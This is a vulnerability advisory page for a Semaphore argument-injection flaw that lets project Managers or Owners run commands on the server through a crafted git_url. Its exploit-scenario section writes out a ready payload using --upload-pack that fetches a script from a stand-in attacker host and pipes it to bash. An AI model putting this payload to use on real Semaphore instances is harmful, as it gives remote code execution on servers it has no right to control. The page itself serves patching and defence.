Skip to main content

Semaphore CVE-2026-73682

| EUVDEUVD-2026-58809 HIGH
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-08-14 VulnCheck GHSA-93jq-5gw9-rx3q
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as project Manager or Owner
  2. Delivery
    Create or edit repository with --upload-pack= payload in git_url
  3. Exploit
    Trigger repository clone or fetch operation
  4. Execution
    cmd_git passes unsanitized argument to system git binary
  5. Impact
    Arbitrary shell command executes on Semaphore server host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

The attacker must be authenticated to Semaphore and hold the Manager or Owner role on at least one project - the standard Member role is insufficient to modify repository git_url values. The Semaphore server must be using the default cmd_git client rather than an alternative git backend. Exploitation is triggered when the server executes a repository operation (clone, fetch, or equivalent) against the attacker-controlled git_url, which may occur automatically on a scheduled basis or when manually triggered through the Semaphore web UI. No non-default server configuration is required beyond the presence of a system git binary accessible to the Semaphore process. Unauthenticated exploitation is not possible per the CVSS PR:L vector; an external attacker without a Manager or Owner account must first compromise one to proceed. The key limiting factors are: authenticated access required, elevated project role required (Manager or Owner), and the need to trigger a git repository operation against the malicious URL.

Impact

The CVSS 4.0 base score of 8.7 (AV:N/AC:L/AT:N/PR:L) correctly characterizes a high-severity, network-exploitable vulnerability gated solely by possession of a Manager or Owner role on any project - a condition common in multi-user team deployments. The attack complexity is low and no attack-requirement prerequisites beyond role possession apply, meaning the technical barrier after initial access is minimal. Even a mid-sized municipal IT team in tczew that relies on Semaphore to automate infrastructure provisioning should treat this as urgent remediation, since Semaphore processes routinely run with elevated OS permissions to invoke Ansible and Terraform against managed hosts, amplifying the blast radius of any code injection. No EPSS data was provided, and this CVE does not appear in the CISA KEV catalog, so widespread active exploitation has not been confirmed - however, the --upload-pack technique requires no novel research and is trivially reproducible. The primary risk-limiting factor is authentication: an unauthenticated external attacker cannot exploit this directly without first compromising a Manager or Owner account. Organizations where these roles are broadly granted across large teams face the widest realistic exposure surface.

Exploit ScenarioDerived

An attacker holding the Manager or Owner role on any Semaphore project edits or creates a repository entry and sets the git_url field to a value such as --upload-pack=curl${IFS}attacker.example/shell.sh|bash. When Semaphore's backend triggers a git fetch or clone operation against that repository - whether manually initiated or scheduled - the cmd_git client passes the injected argument verbatim to the system git binary, which executes the embedded shell command under the Semaphore server process's OS account. No public exploit code has been confirmed at time of analysis, but the --upload-pack argument injection technique is well-documented and requires no specialized tooling to reproduce.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 14, 2026

Remote code execution in Semaphore prior to version 2.18.20 allows authenticated project Managers and Owners to execute arbitrary shell commands on the Semaphore server host by injecting git arguments through a crafted repository git_url value. The root cause (CWE-88, Argument Injection) lies in the default cmd_git client passing user-supplied input unsanitized to the system git binary, enabling exploitation via git's --upload-pack= option to specify an arbitrary server-side command. No public exploit code has been confirmed at time of analysis, but the --upload-pack argument injection technique is extensively documented in open-source security research and requires no specialized tooling for any holder of the requisite project role.

RemediationAI

Upgrade Semaphore to version 2.18.20 or later, which incorporates the fix at commit 5d87656a680600125fe78edec1f7a0d10484b52c; full details are in the vendor advisory at https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p. If an immediate upgrade is not feasible, restrict Manager and Owner role assignments to the minimum set of fully trusted personnel - reducing the population of users who can supply repository git_url values is the most targeted available compensating control, though it does not eliminate the underlying vulnerability and may affect team workflow. Audit all existing repository git_url entries for argument-injection patterns such as --upload-pack=, --exec=, or other git option prefixes, and remove or sanitize any suspicious values. There is no known configuration option to disable git_url processing entirely without disabling core Semaphore repository integration, so role restriction combined with expedited patching is the recommended posture.

Affected VersionsENISA

semaphore 0 <2.18.20

Affected Packages

go github.com/semaphoreui/semaphore fix: 0.0.0-20260704181911-7e8a9434bd81
euvd semaphore fix: 2.18.20

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Semaphore (CPE: cpe:2.3:a:semaphoreui:semaphore:*:*:*:*:*:*:*:*) is a Go-based open-source web UI for orchestrating Ansible, Terraform, Bash, and similar automation workloads backed by Git repository integration. Its default cmd_git client constructs and dispatches system git subprocess calls to perform repository operations such as clone and fetch. CWE-88 (Argument Injection or Modification) manifests when user-controlled data is embedded verbatim in subprocess argument lists without sanitization: git's --upload-pack= flag permits specifying an arbitrary command to execute on the server side during pack-file negotiation, meaning a git_url value prefixed with --upload-pack=malicious_command causes git to treat the payload as a legitimate option and execute the embedded shell command under the Semaphore process identity. The remediation commit 5d87656a introduces ValidatePlaybookPath to enforce relative-path constraints on playbook and task fields, addressing a path-traversal component; whether git_url argument sanitization is included in this same commit or a companion change should be confirmed against the full 2.18.20 release changelog.

Know when Semaphore gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

Network-exploitable via low-privilege project role (PR:L); OS-level command injection escapes the application boundary to the host, warranting S:C with full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Aug 14, 2026 - 21:22 NVD
8.8 (HIGH) 8.7 (HIGH)
CVE Published
Aug 14, 2026 - 21:06 cve.org
HIGH 8.7

DescriptionCVE.org

Semaphore versions prior to 2.18.20 contain an OS command injection (argument injection) vulnerability in the repository git_url handling that allows authenticated users holding the Manager or Owner role on any project to achieve remote code execution on the Semaphore server host. Attackers can craft a malicious git_url value using git's --upload-pack= option to inject and execute arbitrary shell commands when the server processes repository operations using the default cmd_git client.

Executive ViewAI

Why It Matters

Semaphore CI/CD platform versions prior to 2.18.20 allow authenticated project administrators to execute arbitrary commands on the build server through malicious repository configurations, creating a direct path for insider threats or compromised accounts to control the pipeline environment. This vulnerability enables theft of build secrets, manipulation of deployment artifacts, and potential delivery of compromised code to production systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
1.6%
Top 27% exploitable
Prevalence
Medium
widely used open-source DevOps automation UI, significant but not universal adoption
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy